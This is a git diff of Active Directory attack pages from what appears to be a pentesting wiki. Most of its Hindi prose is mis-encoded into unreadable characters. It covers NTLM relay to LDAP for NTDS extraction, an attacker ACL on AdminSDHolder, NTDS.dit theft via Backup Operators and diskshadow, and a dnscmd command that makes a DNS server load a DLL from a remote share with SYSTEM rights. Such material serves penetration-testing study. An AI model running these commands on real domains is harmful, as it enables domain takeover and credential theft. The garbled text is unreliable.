рджреЛрд╖ рдХрд╛ рдЙрдкрдпреЛрдЧ **LDAP рдкрд░ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд░рд┐рд▓реЗ рдХрд░рдиреЗ рдФрд░ рдмрд╛рдж рдореЗрдВ рдбреЛрдореЗрди NTDS рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ LDAP рдкрд░ рд░рд┐рд▓реЗ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдЗрд╕ рджреЛрд╖ рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдкрд░ рд░рд┐рд▓реЗ рдФрд░ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╢реЛрд╖рдг рдХрд░рдиреЗ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рдбреЛрдореЗрди рдПрдбрдорд┐рди рддрдХ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓рддреА рд╣реИред ## Windows рдХреЗ рдЕрдВрджрд░ @@ -102,9 +102,15 @@ certutil.exe -syncwithWU \\127.0.0.1\share ```html ``` +## NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдФрд░ рдлрд╝рд┐рд╢рд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ + +{{#ref}} +../ntlm/places-to-steal-ntlm-creds.md +{{#endref}} + ## NTLMv1 рдХреЛ рдХреНрд░реИрдХ рдХрд░рдирд╛ -рдпрджрд┐ рдЖрдк [NTLMv1 рдЪреБрдиреМрддрд┐рдпреЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣рд╛рдВ рдкрдврд╝реЗрдВ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рдХреНрд░реИрдХ рдХрд░реЗрдВ](../ntlm/index.html#ntlmv1-attack)ред\ +рдпрджрд┐ рдЖрдк [NTLMv1 рдЪреБрдиреМрддрд┐рдпреЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдВ рдкрдврд╝реЗрдВ](../ntlm/index.html#ntlmv1-attack).\ _рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ NTLMv1 рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ Responder рдЪреБрдиреМрддреА рдХреЛ "1122334455667788" рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index fe2249b67..cec0292b5 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -1,31 +1,31 @@ -# рд╡рд┐рд╢реЗрд╖ рд╕рдореВрд╣ +# Privileged Groups {{#include ../../banners/hacktricks-training.md}} -## рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдкреНрд░рд╕рд┐рджреНрдз рд╕рдореВрд╣ +## Well Known groups with administration privileges - **Administrators** - **Domain Admins** - **Enterprise Admins** -## рдЦрд╛рддрд╛ рдСрдкрд░реЗрдЯрд░ +## Account Operators -рдпрд╣ рд╕рдореВрд╣ рдбреЛрдореЗрди рдкрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдирд╣реАрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдЦрд╛рддреЛрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдХреЛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдХреНрд╖рдо рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC) рдкрд░ рд╕реНрдерд╛рдиреАрдп рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +рдпрд╣ рд╕рдореВрд╣ рдЙрди рдЦрд╛рддреЛрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдХреЛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдХреНрд╖рдо рд╣реИ рдЬреЛ рдбреЛрдореЗрди рдкрд░ рдкреНрд░рд╢рд╛рд╕рдХ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC) рдкрд░ рд╕реНрдерд╛рдиреАрдп рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ: -```powershell +```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` рдирдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рдЕрдиреБрдорддрд┐ рд╣реИ, рд╕рд╛рде рд╣реА DC01 рдкрд░ рд╕реНрдерд╛рдиреАрдп рд▓реЙрдЧрд┐рди рднреАред ## AdminSDHolder рд╕рдореВрд╣ -**AdminSDHolder** рд╕рдореВрд╣ рдХреА рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACL) рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рд╕рднреА "рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ" рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕реЗрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдореВрд╣ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рддрдВрддреНрд░ рдЗрди рд╕рдореВрд╣реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред +**AdminSDHolder** рд╕рдореВрд╣ рдХреА рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACL) рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рд╕рднреА "рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ" рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реЗрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдореВрд╣ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рддрдВрддреНрд░ рдЗрди рд╕рдореВрд╣реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред -рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЛ **AdminSDHolder** рд╕рдореВрд╣ рдХреА ACL рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рднреБрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдорд╛рдирдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдорд┐рд▓ рдЬрд╛рдПрдБрдЧреАред рдЗрд╕рд╕реЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд▓ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐ рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдпрд╛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрдиреНрд╣реЗрдВ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рдХрд╛рд░рдг рдПрдХ рдШрдВрдЯреЗ рдХреЗ рднреАрддрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЛ **AdminSDHolder** рд╕рдореВрд╣ рдХреА ACL рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рднреБрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдорд╛рдирдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдорд┐рд▓ рдЬрд╛рдПрдБрдЧреАред рдЗрд╕рд╕реЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд▓ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐ рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрджрд▓реА рдпрд╛ рд╣рдЯрд╛ рджреА рдЬрд╛рддреА рд╣реИрдВ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рдХрд╛рд░рдг рдЙрдиреНрд╣реЗрдВ рдПрдХ рдШрдВрдЯреЗ рдХреЗ рднреАрддрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╕рджрд╕реНрдпреЛрдВ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдФрд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -```powershell +```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} @@ -40,13 +40,13 @@ Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefer ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` -### рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдПрдХреНрд╕реЗрд╕ +### Domain Controller Access DC рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ рдЬрдм рддрдХ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `Server Operators` рд╕рдореВрд╣ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рди рд╣реЛ, рдЬреЛ рдкрд╣реБрдБрдЪ рдХреЗ рд╕реНрддрд░ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИред -### рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ +### Privilege Escalation -Sysinternals рд╕реЗ `PsService` рдпрд╛ `sc` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдХреЛрдИ рд╕реЗрд╡рд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Server Operators` рд╕рдореВрд╣ рдХреЛ рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдордирдЪрд╛рд╣реЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ: +`PsService` рдпрд╛ `sc` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Sysinternals рд╕реЗ, рдХреЛрдИ рд╕реЗрд╡рд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Server Operators` рд╕рдореВрд╣ рдХреЗ рдкрд╛рд╕ рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: ```cmd C:\> .\PsService.exe security AppReadiness ``` @@ -54,13 +54,13 @@ C:\> .\PsService.exe security AppReadiness ## Backup Operators -`Backup Operators` рд╕рдореВрд╣ рдореЗрдВ рд╕рджрд╕реНрдпрддрд╛ `DC01` рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ `SeBackup` рдФрд░ `SeRestore` рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВред рдпреЗ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рдлрд╝реЛрд▓реНрдбрд░ traversal, рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИрдВ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдмрд┐рдирд╛, `FILE_FLAG_BACKUP_SEMANTICS` рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +`Backup Operators` рд╕рдореВрд╣ рдореЗрдВ рд╕рджрд╕реНрдпрддрд╛ `DC01` рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ `SeBackup` рдФрд░ `SeRestore` рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред рдпреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдлрд╝реЛрд▓реНрдбрд░ рдпрд╛рддреНрд░рд╛, рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдВ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдмрд┐рдирд╛, `FILE_FLAG_BACKUP_SEMANTICS` рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: -```powershell +```bash Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` -### рд╕реНрдерд╛рдиреАрдп рд╣рдорд▓рд╛ +### Local Attack рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: @@ -79,11 +79,11 @@ Get-SeBackupPrivilege dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite ``` -### AD рд╣рдорд▓рд╛ +### AD Attack рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рддрдХ рд╕реАрдзреА рдкрд╣реБрдБрдЪ `NTDS.dit` рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЪреЛрд░реА рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рд╕рднреА NTLM рд╣реИрд╢ рд╣реЛрддреЗ рд╣реИрдВред -#### diskshadow.exe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ +#### Using diskshadow.exe 1. `C` рдбреНрд░рд╛рдЗрд╡ рдХреА рдПрдХ рд╢реИрдбреЛ рдХреЙрдкреА рдмрдирд╛рдПрдВ: ```cmd @@ -130,16 +130,16 @@ echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\ ## DnsAdmins -**DnsAdmins** рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдп рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ DNS рд╕рд░реНрд╡рд░ рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ DLL рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдХреНрд╕рд░ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреНрд╖рдорддрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╢реЛрд╖рдг рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред +**DnsAdmins** рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдп рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ DNS рд╕рд░реНрд╡рд░ рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ DLL рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдХреНрд╕рд░ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреНрд╖рдорддрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╢реЛрд╖рдг рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред DnsAdmins рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: -```powershell +```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` -### рдордирдорд╛рдиреЗ DLL рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ +### Execute arbitrary DLL -рд╕рджрд╕реНрдп DNS рд╕рд░реНрд╡рд░ рдХреЛ рдордирдорд╛рдирд╛ DLL (рдпрд╛ рддреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдпрд╛ рдХрд┐рд╕реА рджреВрд░рд╕реНрде рд╢реЗрдпрд░ рд╕реЗ) рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +рд╕рджрд╕реНрдп DNS рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ DLL (рдпрд╛ рддреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдпрд╛ рдПрдХ рджреВрд░рд╕реНрде рд╢реЗрдпрд░ рд╕реЗ) рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: @@ -174,8 +174,8 @@ For more details on this attack vector, refer to ired.team. DnsAdmins DNS рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд▓ (MitM) рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╡реИрд╢реНрд╡рд┐рдХ рдХреНрд╡реЗрд░реА рдмреНрд▓реЙрдХ рд╕реВрдЪреА рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж WPAD рд░рд┐рдХреЙрд░реНрдб рдмрдирд╛рдХрд░ред Responder рдпрд╛ Inveigh рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдкреВрдлрд┐рдВрдЧ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### Event Log Readers -рд╕рджрд╕реНрдп рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧреНрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ 